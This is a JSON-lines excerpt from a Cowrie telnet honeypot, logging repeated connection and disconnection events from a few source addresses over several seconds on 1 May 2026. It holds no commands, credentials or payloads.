{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41932,"dst_ip":"159.203.135.109","dst_port":23,"session":"db4c088809e9","protocol":"telnet","message":"New connection: 51.79.21.139:41932 (159.203.135.109:23) [session: db4c088809e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.097099Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44280,"dst_ip":"159.203.135.109","dst_port":23,"session":"eec8faee5db1","protocol":"telnet","message":"New connection: 147.135.136.77:44280 (159.203.135.109:23) [session: eec8faee5db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.105854Z"}
{"eventid":"cowrie.session.closed","duration":30.78586196899414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.172644Z","src_ip":"147.135.136.77","session":"abc9fe295965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":39254,"dst_ip":"159.203.135.109","dst_port":23,"session":"61810c0c57c1","protocol":"telnet","message":"New connection: 85.208.100.77:39254 (159.203.135.109:23) [session: 61810c0c57c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.303013Z"}
{"eventid":"cowrie.session.closed","duration":31.487957000732422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.621611Z","src_ip":"147.135.136.77","session":"0d2adca0bab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9770987033844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.016096Z","src_ip":"51.79.21.139","session":"bf1527449a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776971578598022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.053817Z","src_ip":"51.79.21.139","session":"bf6df3acc12f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36378,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e3080073787","protocol":"telnet","message":"New connection: 168.119.91.149:36378 (159.203.135.109:23) [session: 1e3080073787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.057807Z"}
{"eventid":"cowrie.session.closed","duration":30.857093811035156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.065109Z","src_ip":"51.79.21.139","session":"7c270a9efa4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58008,"dst_ip":"159.203.135.109","dst_port":23,"session":"f55adbdf4584","protocol":"telnet","message":"New connection: 51.79.21.139:58008 (159.203.135.109:23) [session: f55adbdf4584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.095215Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":40648,"dst_ip":"159.203.135.109","dst_port":23,"session":"18cdcbc8f2d1","protocol":"telnet","message":"New connection: 85.208.100.77:40648 (159.203.135.109:23) [session: 18cdcbc8f2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.150991Z"}
{"eventid":"cowrie.session.closed","duration":30.469314575195312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.492411Z","src_ip":"168.119.91.149","session":"54a1992c6d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43356156349182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.498733Z","src_ip":"168.119.91.149","session":"88e9205d4438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44486,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea5cd52f6d2","protocol":"telnet","message":"New connection: 147.135.136.77:44486 (159.203.135.109:23) [session: aea5cd52f6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.503817Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44494,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5b8462ec9a","protocol":"telnet","message":"New connection: 147.135.136.77:44494 (159.203.135.109:23) [session: ec5b8462ec9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.568712Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36382,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cbd0b410898","protocol":"telnet","message":"New connection: 168.119.91.149:36382 (159.203.135.109:23) [session: 6cbd0b410898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.718084Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33450,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8b071142ee","protocol":"telnet","message":"New connection: 81.30.157.18:33450 (159.203.135.109:23) [session: 3a8b071142ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.770317Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7594ba6e4fc2","protocol":"telnet","message":"New connection: 168.119.91.149:36392 (159.203.135.109:23) [session: 7594ba6e4fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:04.952703Z"}
{"eventid":"cowrie.session.closed","duration":30.961482048034668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.060619Z","src_ip":"147.135.136.77","session":"e32331aabcc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998791456222534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.067728Z","src_ip":"51.79.21.139","session":"89a115a0b388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65947651863098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.117552Z","src_ip":"51.79.21.139","session":"cf82d2018350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58058,"dst_ip":"159.203.135.109","dst_port":23,"session":"9611252c3cff","protocol":"telnet","message":"New connection: 51.79.21.139:58058 (159.203.135.109:23) [session: 9611252c3cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.134903Z"}
{"eventid":"cowrie.session.closed","duration":30.475072860717773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.225906Z","src_ip":"147.135.136.77","session":"cd92a5fc2851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806062698364258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.483893Z","src_ip":"168.119.91.149","session":"ed4e706fb47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58204,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b208e0dbc3","protocol":"telnet","message":"New connection: 51.79.21.139:58204 (159.203.135.109:23) [session: 45b208e0dbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.494771Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58224,"dst_ip":"159.203.135.109","dst_port":23,"session":"674368c368db","protocol":"telnet","message":"New connection: 51.79.21.139:58224 (159.203.135.109:23) [session: 674368c368db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.531160Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58230,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e114f2f0433","protocol":"telnet","message":"New connection: 51.79.21.139:58230 (159.203.135.109:23) [session: 6e114f2f0433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.543043Z"}
{"eventid":"cowrie.session.closed","duration":30.68825054168701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.558083Z","src_ip":"168.119.91.149","session":"9356f9347a3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58268,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9b8514438d","protocol":"telnet","message":"New connection: 51.79.21.139:58268 (159.203.135.109:23) [session: af9b8514438d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.678605Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46036,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8085085faf","protocol":"telnet","message":"New connection: 37.187.24.227:46036 (159.203.135.109:23) [session: 6c8085085faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:05.706085Z"}
{"eventid":"cowrie.session.closed","duration":30.950358152389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.055137Z","src_ip":"147.135.136.77","session":"4566f777986a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409889221191406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.069869Z","src_ip":"147.135.136.77","session":"265718242a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51620,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b318eb52187","protocol":"telnet","message":"New connection: 147.135.136.77:51620 (159.203.135.109:23) [session: 7b318eb52187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.078347Z"}
{"eventid":"cowrie.session.closed","duration":30.61465835571289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.084857Z","src_ip":"81.30.157.18","session":"055345cdec41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33602,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e025b34b50f","protocol":"telnet","message":"New connection: 81.30.157.18:33602 (159.203.135.109:23) [session: 7e025b34b50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.111346Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36412,"dst_ip":"159.203.135.109","dst_port":23,"session":"711197f94347","protocol":"telnet","message":"New connection: 168.119.91.149:36412 (159.203.135.109:23) [session: 711197f94347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.133118Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51658,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3609bced342","protocol":"telnet","message":"New connection: 147.135.136.77:51658 (159.203.135.109:23) [session: c3609bced342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.305086Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33652,"dst_ip":"159.203.135.109","dst_port":23,"session":"86d7826d9657","protocol":"telnet","message":"New connection: 81.30.157.18:33652 (159.203.135.109:23) [session: 86d7826d9657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.326859Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51714,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa87c0ad9d4","protocol":"telnet","message":"New connection: 147.135.136.77:51714 (159.203.135.109:23) [session: 9fa87c0ad9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.511855Z"}
{"eventid":"cowrie.session.closed","duration":30.209941864013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.516602Z","src_ip":"168.119.91.149","session":"b0eb8c246833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36470,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ef231b4946","protocol":"telnet","message":"New connection: 168.119.91.149:36470 (159.203.135.109:23) [session: 36ef231b4946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.563178Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51786,"dst_ip":"159.203.135.109","dst_port":23,"session":"2998b880877d","protocol":"telnet","message":"New connection: 147.135.136.77:51786 (159.203.135.109:23) [session: 2998b880877d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.748329Z"}
{"eventid":"cowrie.session.closed","duration":31.229477167129517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:06.920429Z","src_ip":"147.135.136.77","session":"4606bfa948f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36504,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22148f9c0d9","protocol":"telnet","message":"New connection: 168.119.91.149:36504 (159.203.135.109:23) [session: e22148f9c0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.057380Z"}
{"eventid":"cowrie.session.closed","duration":30.762314558029175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.065093Z","src_ip":"147.135.136.77","session":"77d880e52928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033953189849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.116611Z","src_ip":"81.30.157.18","session":"681f079fe68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51868,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aedaf750d06","protocol":"telnet","message":"New connection: 147.135.136.77:51868 (159.203.135.109:23) [session: 1aedaf750d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.128989Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":58294,"dst_ip":"159.203.135.109","dst_port":23,"session":"4370fc5e8a63","protocol":"telnet","message":"New connection: 51.79.21.139:58294 (159.203.135.109:23) [session: 4370fc5e8a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.164688Z"}
{"eventid":"cowrie.session.closed","duration":30.619795322418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.177298Z","src_ip":"147.135.136.77","session":"d16ac2774736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51882,"dst_ip":"159.203.135.109","dst_port":23,"session":"4223c1eec830","protocol":"telnet","message":"New connection: 147.135.136.77:51882 (159.203.135.109:23) [session: 4223c1eec830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.204321Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33792,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3350533ba60","protocol":"telnet","message":"New connection: 81.30.157.18:33792 (159.203.135.109:23) [session: d3350533ba60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.242530Z"}
{"eventid":"cowrie.session.closed","duration":31.004000186920166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.249472Z","src_ip":"37.187.24.227","session":"12a8d82942cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c9a11ad271","protocol":"telnet","message":"New connection: 147.135.136.77:51894 (159.203.135.109:23) [session: 68c9a11ad271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.271748Z"}
{"eventid":"cowrie.session.closed","duration":31.24254012107849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.332107Z","src_ip":"51.79.21.139","session":"f459f0bcac14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51914,"dst_ip":"159.203.135.109","dst_port":23,"session":"32fc262d3754","protocol":"telnet","message":"New connection: 147.135.136.77:51914 (159.203.135.109:23) [session: 32fc262d3754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.405093Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33830,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c381f770a2c","protocol":"telnet","message":"New connection: 81.30.157.18:33830 (159.203.135.109:23) [session: 5c381f770a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.428778Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33844,"dst_ip":"159.203.135.109","dst_port":23,"session":"4713c56f00f9","protocol":"telnet","message":"New connection: 81.30.157.18:33844 (159.203.135.109:23) [session: 4713c56f00f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.527677Z"}
{"eventid":"cowrie.session.closed","duration":31.318743228912354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:07.785765Z","src_ip":"147.135.136.77","session":"cc148e3b3690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917967319488525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.032934Z","src_ip":"51.79.21.139","session":"36181319d381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b658fbe7bf","protocol":"telnet","message":"New connection: 147.135.136.77:51856 (159.203.135.109:23) [session: d6b658fbe7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.040603Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33906,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb79db664e3","protocol":"telnet","message":"New connection: 81.30.157.18:33906 (159.203.135.109:23) [session: 2cb79db664e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.057453Z"}
{"eventid":"cowrie.session.closed","duration":30.718239545822144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.077512Z","src_ip":"51.79.21.139","session":"82cd49e9081c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":33908,"dst_ip":"159.203.135.109","dst_port":23,"session":"eacca7e37252","protocol":"telnet","message":"New connection: 81.30.157.18:33908 (159.203.135.109:23) [session: eacca7e37252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.092707Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51948,"dst_ip":"159.203.135.109","dst_port":23,"session":"568bd655fbb6","protocol":"telnet","message":"New connection: 147.135.136.77:51948 (159.203.135.109:23) [session: 568bd655fbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.096997Z"}
{"eventid":"cowrie.session.closed","duration":30.596263885498047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.107369Z","src_ip":"81.30.157.18","session":"9126b30497b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500139474868774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.156537Z","src_ip":"149.102.133.101","session":"cab07b2fd7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":51952,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbea51e1486a","protocol":"telnet","message":"New connection: 147.135.136.77:51952 (159.203.135.109:23) [session: bbea51e1486a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.197156Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36570,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0c7bd3b23d2","protocol":"telnet","message":"New connection: 168.119.91.149:36570 (159.203.135.109:23) [session: f0c7bd3b23d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.202440Z"}
{"eventid":"cowrie.session.closed","duration":30.843997478485107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.260452Z","src_ip":"51.79.21.139","session":"32be7f170a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485177040100098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.557993Z","src_ip":"168.119.91.149","session":"d0a1140bf3d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52010,"dst_ip":"159.203.135.109","dst_port":23,"session":"e93f680535e5","protocol":"telnet","message":"New connection: 147.135.136.77:52010 (159.203.135.109:23) [session: e93f680535e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:08.647803Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":55476,"dst_ip":"10.17.0.5","dst_port":23,"session":"c459b4416c18","protocol":"telnet","message":"New connection: 69.65.3.189:55476 (10.17.0.5:23) [session: c459b4416c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.049725Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52030,"dst_ip":"159.203.135.109","dst_port":23,"session":"29ef483c6754","protocol":"telnet","message":"New connection: 147.135.136.77:52030 (159.203.135.109:23) [session: 29ef483c6754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.055511Z"}
{"eventid":"cowrie.session.closed","duration":30.91128945350647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.091126Z","src_ip":"81.30.157.18","session":"bfbfb55411c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46158242225647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.097912Z","src_ip":"147.135.136.77","session":"c71c70c43462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965007305145264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.140867Z","src_ip":"81.30.157.18","session":"9e00ea957b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":34042,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a82c209e1fa","protocol":"telnet","message":"New connection: 81.30.157.18:34042 (159.203.135.109:23) [session: 9a82c209e1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.491786Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52000,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b4f826cb56","protocol":"telnet","message":"New connection: 147.135.136.77:52000 (159.203.135.109:23) [session: 73b4f826cb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.637407Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":50546,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef7da67243f","protocol":"telnet","message":"New connection: 168.119.91.149:50546 (159.203.135.109:23) [session: bef7da67243f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:09.849565Z"}
{"eventid":"cowrie.session.closed","duration":30.966865062713623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:10.015314Z","src_ip":"51.79.21.139","session":"d847b5114d6e","protocol":"telnet"}
